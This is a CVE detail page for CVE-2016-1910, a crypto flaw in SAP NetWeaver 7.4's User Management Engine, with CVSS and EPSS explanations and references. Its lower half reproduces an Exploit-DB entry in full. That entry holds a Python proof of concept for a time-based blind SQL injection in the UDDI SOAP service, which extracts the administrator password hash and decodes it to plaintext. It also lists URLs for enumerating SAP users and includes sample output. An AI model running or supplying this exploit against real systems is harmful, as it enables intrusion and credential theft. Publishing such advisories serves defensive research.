CVE-2016-1910 : Detail

CVE-2016-1910

5.3
/
Medium
A01-Broken Access Control
8.82%V4
Network
2016-01-15
19h00 +00:00
2018-12-10
16h57 +00:00
CVE.org
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CVE Descriptions

The User Management Engine (UME) in SAP NetWeaver 7.4 allows attackers to decrypt unspecified data via unknown vectors, aka SAP Security Note 2191290.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 5.3 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 43495

Publication date : 2018-01-09 23h00 +00:00
Author : Vahagn Vardanyan
EDB Verified : No

#!/usr/bin/env python # coding=utf-8 """ Author: Vahagn Vardanyan https://twitter.com/vah_13 Bugs: CVE-2016-2386 SQL injection CVE-2016-2388 Information disclosure CVE-2016-1910 Crypto issue Follow HTTP request is a simple PoC for anon time-based SQL injection (CVE-2016-2386) vulnerability in SAP NetWeaver AS Java UDDI 7.11-7.50 POST /UDDISecurityService/UDDISecurityImplBean HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 SOAPAction: Content-Type: text/xml;charset=UTF-8 Host: nw74:50000 Content-Length: 500 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:sec="http://sap.com/esi/uddi/ejb/security/"> <soapenv:Header/> <soapenv:Body> <sec:deletePermissionById> <permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%SHA-512%') AND '1'='1</permissionId> </sec:deletePermissionById> </soapenv:Body> </soapenv:Envelope> In SAP test server I have admin user who login is "Administrator" and so I used this payload %PRIVATE_DATASOURCE.un:Administrator% most SAP's using j2ee_admin username for SAP administrator login %PRIVATE_DATASOURCE.un:j2ee_admin% You can get all SAP users login using these URLs (CVE-2016-2388 - information disclosure) 1) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Chat# 2) http:/SAP_IP:SAP_PORT/webdynpro/resources/sap.com/tc~rtc~coll.appl.rtc~wd_chat/Messages# Instead of J2EE_CONFIGENTRY table you can use this tables UME_STRINGS_PERM UME_STRINGS_ACTN BC_DDDBDP BC_COMPVERS TC_WDRR_MRO_LUT TC_WDRR_MRO_FILES T_CHUNK !!! very big table, if SAP server will not response during 20 seconds then you have SQL injection T_DOMAIN T_SESSION UME_ACL_SUP_PERM UME_ACL_PERM UME_ACL_PERM_MEM An example of a working exploit C:\Python27\python.exe SQL_injection_CVE-2016-2386.py --host nw74 --port 50000 start to retrieve data from the table UMS_STRINGS from nw74 server using CVE-2016-2386 exploit this may take a few minutes Found {SHA-512, 10000, 24}M Found {SHA-512, 10000, 24}MT Found {SHA-512, 10000, 24}MTI Found {SHA-512, 10000, 24}MTIz Found {SHA-512, 10000, 24}MTIzU Found {SHA-512, 10000, 24}MTIzUV Found {SHA-512, 10000, 24}MTIzUVd Found {SHA-512, 10000, 24}MTIzUVdF Found {SHA-512, 10000, 24}MTIzUVdFY Found {SHA-512, 10000, 24}MTIzUVdFYX Found {SHA-512, 10000, 24}MTIzUVdFYXN Found {SHA-512, 10000, 24}MTIzUVdFYXNk Found {SHA-512, 10000, 24}MTIzUVdFYXNk8 Found {SHA-512, 10000, 24}MTIzUVdFYXNk88 Found {SHA-512, 10000, 24}MTIzUVdFYXNk88F Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fx Found {SHA-512, 10000, 24}MTIzUVdFYXNk88Fxu Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuY Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6 Found {SHA-512, 10000, 24}MTIzUVdFYXNk88FxuYC6X And finaly using CVE-2016-1910 (Crypto issue) you can get administrator password in plain text base64_decode(MTIzUVdFYXNk88FxuYC6X)=123QWEasdóÁq¹€ºX """ import argparse import requests import string _magic = "{SHA-512, 10000, 24}" _wrong_magic = "{SHA-511, 10000, 24}" _xml = "<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" " \ "xmlns:sec=\"http://sap.com/esi/uddi/ejb/security/\">\r\n <soapenv:Header/>\r\n <soapenv:Body>\r\n " \ "<sec:deletePermissionById>\r\n <permissionId>1' AND 1=(select COUNT(*) from J2EE_CONFIGENTRY, " \ "UME_STRINGS where UME_STRINGS.PID like '%PRIVATE_DATASOURCE.un:Administrator%' and UME_STRINGS.VAL like '%{" \ "0}%') AND '1'='1</permissionId>\r\n </sec:deletePermissionById>\r\n </soapenv:Body>\r\n</soapenv:Envelope> " host = "" port = 0 _dictionary = string.digits + string.uppercase + string.lowercase def _get_timeout(_data): return requests.post("http://{0}:{1}/UDDISecurityService/UDDISecurityImplBean".format(host, port), headers={ "User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 " "Firefox/57.0", "SOAPAction": "", "Content-Type": "text/xml;charset=UTF-8" }, data=_xml.format(_data)).elapsed.total_seconds() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('--host') parser.add_argument('--port') parser.add_argument('-v') args = parser.parse_args() args_dict = vars(args) host = args_dict['host'] port = args_dict['port'] print "start to retrieve data from the table UMS_STRINGS from {0} server using CVE-2016-2386 exploit ".format(host) _hash = _magic print "this may take a few minutes" for i in range(24): # you can change it if like to get full hash for _char in _dictionary: if not (args_dict['v'] is None): print "checking {0}".format(_hash + _char) if _get_timeout(_hash + _char) > 1.300: # timeout for local SAP server _hash += _char print "Found " + _hash break

Products Mentioned

Configuraton 0

Sap>>Netweaver >> Version 7.40

References

http://seclists.org/fulldisclosure/2016/Apr/60
Tags : mailing-list, x_refsource_FULLDISC
http://www.securityfocus.com/bid/80920
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/43495/
Tags : exploit, x_refsource_EXPLOIT-DB
The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.